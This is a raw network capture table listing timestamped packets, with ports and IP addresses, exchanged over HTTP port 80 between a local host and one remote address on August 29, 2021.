Aug 29, 2021 22:29:03.158647060 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.158691883 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.158781052 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.158904076 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.174698114 CEST	80	50037	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194406986 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194439888 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194463015 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194554090 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.194659948 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.194685936 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194714069 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194747925 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194777966 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.194839001 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.194894075 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.194924116 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.214739084 CEST	80	50037	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.214838982 CEST	50037	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.229818106 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.229872942 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.229897976 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.229924917 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230006933 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230041981 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230058908 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.230119944 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.230119944 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230149031 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.230246067 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230468988 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230515003 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230550051 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230587959 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230773926 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.230925083 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.231218100 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265010118 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265394926 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265431881 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265466928 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265501976 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265657902 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.265816927 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.304038048 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.304164886 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.370153904 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.370404959 CEST	50037	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.404350996 CEST	80	50037	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.404525042 CEST	50037	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.406584978 CEST	80	50036	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.406724930 CEST	50036	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.429589033 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.461945057 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.462048054 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.528788090 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.561379910 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.602905035 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.602999926 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.875397921 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.875494957 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.875657082 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.876230955 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.909076929 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.909115076 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.909140110 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.909164906 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.909188032 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.909210920 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.909213066 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.909269094 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.909281015 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.909287930 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.936505079 CEST	50039	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.941662073 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.941689014 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.941704035 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.941719055 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.941772938 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.941828012 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.941891909 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.941960096 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.942501068 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.942517042 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.942537069 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.942553997 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.942557096 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.942585945 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.942629099 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.972074986 CEST	80	50039	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.972244978 CEST	50039	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.974224091 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974248886 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974327087 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.974364996 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.974608898 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974634886 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974657059 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974679947 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974700928 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:03.974900961 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.974925041 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.976469994 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.976500988 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.976522923 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:03.976545095 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.006707907 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.006757021 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.006783009 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.006808996 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.006831884 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.007131100 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.007172108 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.007608891 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.018115997 CEST	50039	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.045548916 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.045659065 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.054234982 CEST	80	50039	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.115389109 CEST	80	50039	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.115508080 CEST	50039	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.254697084 CEST	50039	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.254981041 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.256222963 CEST	50040	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.288810968 CEST	80	50038	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.288863897 CEST	80	50040	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.288928032 CEST	50038	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.289043903 CEST	50040	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.289890051 CEST	80	50039	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.290002108 CEST	50039	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.296751976 CEST	50040	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.328861952 CEST	80	50040	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.359245062 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.366585016 CEST	80	50040	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.366697073 CEST	50040	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.394954920 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.395126104 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.395787001 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.395872116 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.396039963 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.396184921 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.431241035 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431284904 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431318998 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431406975 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431447029 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.431521893 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.431618929 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431730032 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.431827068 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431863070 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.431901932 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.431946039 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467178106 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467216015 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467233896 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467305899 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467328072 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467364073 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467387915 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467389107 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467418909 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467469931 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467494011 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467533112 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467608929 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467675924 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467752934 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467775106 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467838049 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.467911005 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.467972994 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.468091011 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.473644972 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.502845049 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.502880096 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.502904892 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.502995968 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.503051043 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.503072977 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503132105 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.503246069 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503314018 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.503439903 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503521919 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503590107 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503781080 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503809929 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503834009 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.503942966 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.504234076 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.504260063 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.504285097 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.504352093 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.504453897 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.509216070 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.509258986 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.509283066 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.512870073 CEST	50040	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.513874054 CEST	50042	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.539103031 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.539180994 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.539210081 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.539233923 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.539258003 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.539283037 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.539582968 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.546343088 CEST	80	50042	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.546473980 CEST	50042	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.552432060 CEST	50042	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.553550005 CEST	80	50040	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.553656101 CEST	50040	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.577579021 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.577738047 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.585098982 CEST	80	50042	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.623897076 CEST	80	50042	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.623989105 CEST	50042	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.811674118 CEST	50042	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.811985970 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.813009977 CEST	50043	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.815315008 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.844063044 CEST	80	50042	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.844227076 CEST	50042	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.847501040 CEST	80	50041	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.847589970 CEST	50041	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.847966909 CEST	80	50043	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.848083973 CEST	50043	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.848567963 CEST	50043	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.849944115 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.850033998 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.850858927 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.850938082 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.851093054 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.851170063 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.884108067 CEST	80	50043	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886789083 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886842966 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886871099 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886893988 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886933088 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886974096 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.886976004 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.886990070 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.887034893 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.887059927 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.887082100 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.922703981 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.922750950 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.922766924 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.922794104 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.922817945 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.922843933 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.922856092 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.922928095 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.922996998 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.923625946 CEST	80	50043	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.923707962 CEST	50043	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.957825899 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.957875013 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.957899094 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.957932949 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.957963943 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.957983017 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.957988977 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.958053112 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:04.958139896 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.958300114 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.958488941 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.958681107 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.958708048 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.958810091 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.959024906 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.959228992 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993035078 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993078947 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993113995 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993144035 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993168116 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993278980 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993400097 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993429899 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:04.993554115 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.031271935 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.032613993 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.037400007 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.112946987 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.113878965 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.113956928 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.267505884 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.267792940 CEST	50043	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.286793947 CEST	50045	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.302521944 CEST	80	50044	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.302608967 CEST	50044	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.302617073 CEST	80	50043	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.302669048 CEST	50043	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.320549011 CEST	80	50045	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.320739985 CEST	50045	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.363693953 CEST	50045	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.379501104 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.396267891 CEST	80	50045	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.414866924 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.414988041 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.427823067 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.427963018 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.428064108 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.428138971 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.434000969 CEST	80	50045	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.434103966 CEST	50045	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.462570906 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.462614059 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.462640047 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.462709904 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.462960958 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.462987900 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.463027000 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.463052988 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.463412046 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.463438988 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.463463068 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.463463068 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.463489056 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.463525057 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.498405933 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498451948 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498469114 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498492956 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498511076 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.498517990 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498543024 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498568058 CEST	80	50046	46.17.96.36	192.168.2.4
Aug 29, 2021 22:29:05.498591900 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.498617887 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.498631001 CEST	50046	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:29:05.498672009 CEST	80	50046	46.17.96.36	192.168.2.4
